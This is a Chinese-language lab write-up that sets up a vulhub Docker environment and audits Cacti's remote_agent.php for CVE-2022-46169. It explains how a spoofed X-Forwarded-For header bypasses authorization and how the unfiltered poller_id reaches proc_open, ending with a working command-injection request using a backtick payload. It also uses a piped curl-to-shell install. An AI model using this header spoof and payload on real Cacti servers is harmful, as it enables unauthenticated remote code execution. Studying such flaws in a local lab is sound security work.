一、環境搭建
1、安裝docker
curl -fsSL https://get.docker.com | sh
驗證docker是否正確安裝
docker version
驗證docker compose是否可用
docker compose version
2、在GitHub上拉取?vulhub
首先先裝一個proxychains網絡代理工具,如果直接拉取的話速度會很慢,甚至拉去不下來,用proxychains這個代理工具會快很多
apt-get install proxychains
進入vim? etc/prioxychains.conf編輯
改為自己物理機的IP和代理工具的端口
從GtiHub上用proxychains拉取vulhub
proxychains git clone https://github.com/vulhub/vulhub
下載成功后進入到/vulhub/cacti/CVE-2022-46169這個目錄下
cd /vulhub/cacti/CVE-2022-46169
啟動容器
docker compose up -d
在瀏覽器輸入127.0.0.1 8080 環境搭建成功
開始安裝,全部下一步就可以
創建一個圖表
二、docker compose up -d網絡報錯的問題
1、調整自己代理工具端口,讓三個端口全部打開,混合端口和proxychains.conf中的要一致
2、創建 Docker 代理配置目錄(如果不存在):
sudo mkdir -p /etc/systemd/system/docker.service.d
3、創建代理配置文件
sudo nano /etc/systemd/system/docker.service.d/http-proxy.conf
4、寫入以下內容(根據你的代理地址修改)
192.168.1.4:7890為物理機IP和代理端口
[Service]
Environment="HTTP_PROXY=http://192.168.1.4:7890"
Environment="HTTPS_PROXY=http://192.168.1.4:7890"
Environment="NO_PROXY=localhost,127.0.0.1"
5、重新加載 systemd 并重啟 Docker
sudo systemctl daemon-reexec
sudo systemctl daemon-reload
sudo systemctl restart docker
6、驗證 Docker 是否已使用代理
sudo systemctl show --property=Environment docker
7、重新運行? ?
docker compose up -d
三、 代碼審計
文件:remote_agent.php
跟進 remote_client_authorized()
→ 看 如何取客戶端 IP
if (!remote_client_authorized()) {print 'FATAL: You are not authorized to use this service';exit;
}
文件:lib/functions.php
中的 get_client_addr()
結論:只要我們在 HTTP 頭里帶上X-Forwarded-For: 127.0.0.1,get_client_addr()
就會返回 127.0.0.1
,而不會繼續看真正的 REMOTE_ADDR。
function get_client_addr() {if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {return trim(array_shift(explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])));}return $_SERVER['REMOTE_ADDR'];
}
文件:remote_agent.php
文件:remote_agent.php
默認安裝后表里正好有127.0.0.1,于是 校驗通過 → remote_client_authorized()
返回 true
switch (get_request_var('action')) {case 'polldata':poll_for_data(); // 我們的目標函數break;}
poll_for_data()
?關鍵片段
文件:remote_agent.php:232-234
get_nfilter_request_var
就是 $_GET[$key]
原樣返回,沒有任何過濾。
$local_data_ids = get_nfilter_request_var('local_data_ids');
$host_id = get_filter_request_var('host_id');
$poller_id = get_nfilter_request_var('poller_id'); //可被注入
文件:poll_for_data()?
/script_server.php realtime <poller_id>
這條命令里,$poller_id
就是可控字符串。
case POLLER_ACTION_SCRIPT_PHP: // action = 2$cactiphp = proc_open(read_config_option('path_php_binary') .' -q ' .$config['base_path'] . '/script_server.php realtime ' .$poller_id, //直接拼接$cactides,$pipes);
經過數據庫查看,發現id=6時action=2,如果action=2則可以通過BurpSuite抓包寫入文件
"X-Forwarded-For: 127.0.0.1"
/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch /tmp/pwned`"